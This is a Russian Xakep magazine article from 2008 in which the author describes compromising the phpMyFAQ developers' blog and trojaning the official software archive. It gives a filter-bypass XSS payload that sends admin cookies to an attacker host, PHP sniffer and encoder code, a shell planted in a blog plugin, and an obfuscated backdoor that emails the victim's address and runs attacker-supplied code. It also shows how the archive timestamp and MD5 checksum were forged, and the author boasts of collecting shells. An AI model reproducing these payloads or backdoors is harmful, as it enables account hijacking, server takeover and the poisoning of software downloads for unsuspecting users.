Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 116, АВГУСТ 2008 г.

Троянский конь в PhpMyFaq

Маг (icq 884888)

Хакер, номер #116, стр. 116-050-1

История протроянивания популярного движка

Как-то раз я наткнулся в Гугле на сайт http://phpmyfaq.de. Это официальная страница движка для создания факов – PhpMyFaq (по аналогии со скриптом менеджера БД PhpMyAdmin). Заинтересовавшись, я решил проверить распространенность движка в инете. По запросу «phpmyfaq» поисковик выдал 828 000 результатов! И тут мне пришла безумная идея: что, если взломать официальный сайт движка, а затем протроянить архивы с PhpMyFaq своим php-шеллом?

Поиск путей проникновения

Для справки: PhpMyFaq – это многофункциональная web-система FAQ, написанная на PHP и использующая БД, с поддержкой различных языков (в том числе и русского). При заходе на сайт в глаза сразу же бросается ссылка на devblog разработчиков, на который я, собственно, и перешел. Блог работал на моей любимой платформе WordPress :). Тут ты, наверняка, подумаешь: «Фу, вордпресс, его же может сломать даже ребенок!». Ничего подобного! Утверждение верно лишь для старых версий. В новых, чтобы взломать блог, приходится изрядно повозиться.

Итак, открыв html-исходник главной страницы блога, я увидел жизнеутверждающую надпись: «<meta name="generator" content="WordPress 2.3.3" />». На момент написания статьи это была одна из последних версий вордпресса. Полезных паблик-уязвимостей для нее не существует, но на каждую дверь всегда найдется своя отмычка! Немного поразмыслив, я вспомнил о недавнем баге в kses html-фильтрах (опенсорс-библиотека, используемая во многих скриптах, в том числе и вордпрессе). Баг заключался в следующем: при проверке ссылок в комментариях (да и вообще, где угодно) kses-фильтры некорректно обрабатывают начало ссылки – протокол. По задумке разработчиков, kses-фильтр пропустит только ссылки, начинающиеся с http://, ftp://, mail://. Так оно и будет работать, но не всегда :). Путем вставки в линк урлдекодированного символа %0B, мы можем обойти это ограничение. То есть, при постинге комментария с содержимым

<a href="%0Bjavascript:alert(document.cookie)">Click here</a> (%0B здесь нужно пропустить через urldecode() )

на таргетной странице мы получим просто javascript-ссылку

<a href="javascript:alert(document.cookie)">Click here</a>

Так что мне оставалось только закодировать evil-жаваскрипт, дабы избавить его от кавычек, поставить сниффер на свой evil-хост и придумать такую ссылку, которую бы админы с удовольствием кликнули.

Перед взломом

Ядовитая строка у меня получилась такая:

window.location.href='http://myevilhost.com/snif.php?id='+document.cookie;

Здесь: http://myevilhost.com/snif.php?id= – мой сниффер, принимающий входящие кукисы через параметр id. Его содержимое, скорее всего, тебе до боли знакомо:

<?php

$id = $_GET["id"];

$file = fopen('log.txt', 'a');

fwrite($file, $id );

fclose($file);

?>

<script>history.go(-1)</script>

Under construction

Полученные кукисы сразу же записываются в log.txt, и серфер перенаправляется обратно на страницу блога.

Далее было необходимо зашифровать мою ядовитую строку в url-представление. Для этого я также набросал нехитрый скрипт:

<?php

$str2hex = urldecode("window.location.href='http://myevilhost.com/snif.php?id='+document.cookie;");

$returnstr='';

for($i=0;$i<strlen($str);$i++)

{

if($str[$i]=='&')

{

$returnstr .= "$str[$i]";

}

else

{

$hex=dechex(ord($str[$i]));

$returnstr .= "%$hex";

}

}

print $returnstr;

?>

На выходе получилась строка урл-кодированных символов, из которой я и составил свой мега-комментарий (%0B, конечно же, раскодировал перед постингом):

Help me! My PhpMyFaq installation does not work correctly :(

<a href="%0Bjavascript:%77%69%6e%64%6f%77%2e%6c%6f%

63%61%74%69%6f%6e%2e%68%72%65%66%3d%27%68%74%74%70%

3a%2f%2f%6d%79%65%76%69%6c%68%6f%73%74%2e%63%6f%6d%

2f%73%6e%69%66%2e%70%68%70%3f%69%64%3d%27%2b%64%6f%

63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b">my faqdesc</a>

И, как ни странно, отзывчивые разработчики «пхпмайфака» буквально на следующий день кликнули по моей ссылке.

Проникновение

Проснувшись, я сразу полез на свой дедик проверять log.txt и увидел в нем жизнеутверждающую строку:

wordpressuser_1307522524cd4b36efbb9978596d45d7=support;wordpresspass_

1307522524cd4b36efbb9978596d45d7=0c90dc4b44d73f4122933f2b17bf3db7

Видимо, это были кукисы одного из админов блога :).

Теперь мне оставалось только вставить их в Оперу. Что я и сделал с помощью встроенного редактора кукисов (Инструменты-Дополнительно-Cookies). Зайдя в админку блога http://devblog.phpmyfaq.de/wp-admin, я убедился, что полученные кукисы были действительно админские, так как никакого урезания прав даже близко не наблюдалось. Отсюда я пошел в раздел управления плагинами и убедился, что админам вообще не знакомо понятие безопасности. Единственный плагин блога – Akismet (антиспам-плагин) – был открыт на запись (впоследствии выяснилось, что абсолютно все файлы на сервере доступны для записи), чем я немедленно и воспользовался, вставив в его код шелл собственного написания. Теперь он был доступен по адресу http://devblog.phpmyfaq.de/wp-admin/?popa. Далее я стал искать дистрибутивы PhpMyFaq для скачивания. Таковые нашлись на пару директорий выше в ./../../download. Последней стабильной версией движка был phpmyfaq-2.0.7.zip. Его-то я и решил протроянить :). Для этой нехитрой цели я установил скрипт на свой локалхост и наобум взял один файл для опытов – ./inc/functions.php. Теперь нужно было лишь придумать механизм, уведомляющий о том, что новая жертва устанавливает протрояненный дистрибутив себе на хост – и похитрее его замаскировать (и сам шелл, само собой). Неплохо было бы сделать так, чтобы во время установки движка какой-нибудь служебный файл (пустой) записывался в /tmp, а на мое мыло приходил бы отчет с адресом жертвы. Файл в /tmp нужен был, чтобы мыло не приходило каждый раз, когда кто-нибудь зайдет на страницы скрипта :).

И я взялся за программную реализацию.

Кодинг

Вышеизложенные идеи я уместил всего лишь в нескольких строчках кода:

if(!is_file("/tmp/sess_php001"))

{

mail("Moe_milo@mail.ru", "New shell of PhpMyFaq ".

getenv("SERVER_NAME").getenv("SCRIPT_NAME"), getenv("SERVER_NAME").getenv("SCRIPT_NAME"));

}

$fp=fopen("/tmp/sess_php001","w");

fputs($fp,1);

fclose($fp);

isset($_GET[viewnewest]) ? eval(trim(stripslashes($_GET[viewnewest]))) : "";

Объясняю: если файла /tmp/sess_php001 не существует, скрипт шлет мыло на мой адрес с урлом жертвы, затем создает файл /tmp/sess_php001. Если существует параметр $_GET[viewnewest], то он исполняется, как php-код. Все гениальное просто :).

Теперь мой код необходимо было зашифровать. Я поступил с ним так:

1. Пропустил через base64_encode();

2. Перевел все полученные символы в chr-представление

$returnstr='';

for($i=0;$i<256;$i++)

{

$arr[chr($i)]=$i;

}

for($i=0;$i<strlen($str);$i++)

{

$i!=(strlen($str)-1) ? $returnstr .= $arr[substr($str,$i,1)].',' : $returnstr .= $arr[substr($str,$i,1)];

}

print $returnstr;

3. Сериализовал строку с помощью serialize();

4. Закодировал в урл-представление с помощью urlencode();

5. Случайным образом разбил строку в массив.

В результате этих извращений получилось что-то вроде:

array('a%3A444%3A%7Bi%3A0%3Bi%3A68%','3Bi%3A1%3Bi%3A81%3Bi%3A2%3Bi%3A112%3Bi%3A3%3Bi%3A112%',

.......

'i%3A122%3Bi%3A28%3Bi%3A90%3Bi%3A29%3Bi%3A88%3Bi%3A30%3Bi%3A78%3Bi')

Ты смог бы расшифровать такое? :) Имхо, любой кодер просто забьет на такую строку, если вдруг случайно увидит ее.

Затем последовали финальные штрихи. В файл functions.php, а именно – в function mkts($datum=false,$zeit=false), я вставил следующий код, который расшифровывал и исполнял мою очередную evil-строку:

$cleanurl=array('a%3A444%3A%7Bi%3A0%3Bi%3A68%',

'3Bi%3A1%3Bi%3A81%3Bi%3A2%3Bi%3A112%3Bi%3A3%3Bi%3A112%',

.......

'i%3A122%3Bi%3A28%3Bi%3A90%3Bi%3A29%3Bi%3A88%3Bi%3A30%3Bi%3A78%3Bi');

$cleanstring = '';

for ($i = 0;$i < count($cleanurl);$i++)

{

$cleanstring .= $cleanurl[$i];

}

$cleanstring = unserialize(urldecode($cleanstring));

$cleanurl = '';

for ($i = 0;$i < count($cleanstring);$i++)

{

$cleanurl .= chr($cleanstring[$i]);

}

eval(base64_decode($cleanurl));

В том же скрипте я преднамеренно создал вызов функции mkts().

Левел комплит!

Заново перепаковав архив phpmyfaq-2.0.7.zip, я залил его в директорию downloads и изменил время модификации файла обратно на May 12 08:41 командой touch -t 200805120841.10 phpmyfaq-2.0.7.zip. Оставалось поколдовать над соседним файлом phpmyfaq-2.0.7.zip.md5, который содержал md5-хэш архива предыдущей непротрояненной версии скрипта в формате «2f2f51ed114bf512e57fc76b7ecbd39c *phpmyfaq-2.0.7.zip». Новый хэш архива (c4838a94897d9840ead97050c6dc1a46), полученный с помощью встроенной в php функции md5file(), я и записал вместо старого! Не забыл изменить и время модификации второго файла. После этой нехитрой операции протроянивания ко мне на мыло постоянно приходят ссылки на новые шеллы. Что, в общем-то, мне и требовалось. А тебе пожелаю быть очень внимательным с опенсорсными движками. Не я, так кто-нибудь другой сможет незаметно подсунуть тебе троянского коня в красивой обертке. Конец :).

Те, кто установил протрояненный дистрибутив к себе на хост, понемногу стали подозревать что-то неладное. На официальном форуме движка http://forum.phpmyfaq.de зачастую можно увидеть топики следующего содержания:

Привет, моя версия phpmyfaq, которую я скачал с вашего сайта, выдает следующий бред:

Warning: mail() [function.mail]: SMTP server response: 550 <moe_milo@mail.ru>... Recipient unknown in directory\phpmyfaq\inc\functions.php(1504) : eval()'d code on line 4

Warning: fopen(/tmp/sess_php001) [function.fopen]: failed to open stream: No such file or directory in directory\phpmyfaq\inc\functions.php(1504) : eval()'d code on line 6

Warning: fputs(): supplied argument is not a valid stream resource in directory\phpmyfaq\inc\functions.php(1504) : eval()'d code on line 7

Warning: fclose(): supplied argument is not a valid stream resource in directory\phpmyfaq\inc\functions.php(1504) : eval()'d code on line 8

Thanks in advance.

Мыло в этом сообщении выглядит подозрительно, что делать?

Во избежание происков таких подозрительных личностей с включенным php safe-mode и кастрированным sendmail'ом я убрал свой злонамеренный код из дистрибутива за номером 2.0.7 и вставил его по той же технологии в дистрибутив 1.6. Скачивают его меньше и, соответственно, реже замечают что-то неладное. Будь осторожен, если вдруг захочешь поставить себе PhpMyFaq версии 1.6! Хотя и насчет 2.0 тоже не могу обещать, что в скором времени не вставлю туда что-нибудь нехорошее :).

WWW

DANGER

Информация предоставляется исключительно к размышлению. Никакая часть статьи не может быть использована во вред. В обратном случае ни автор, ни редакция не несут какой-либо ответственности за возможный ущерб, причиненный вашими действиями.

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001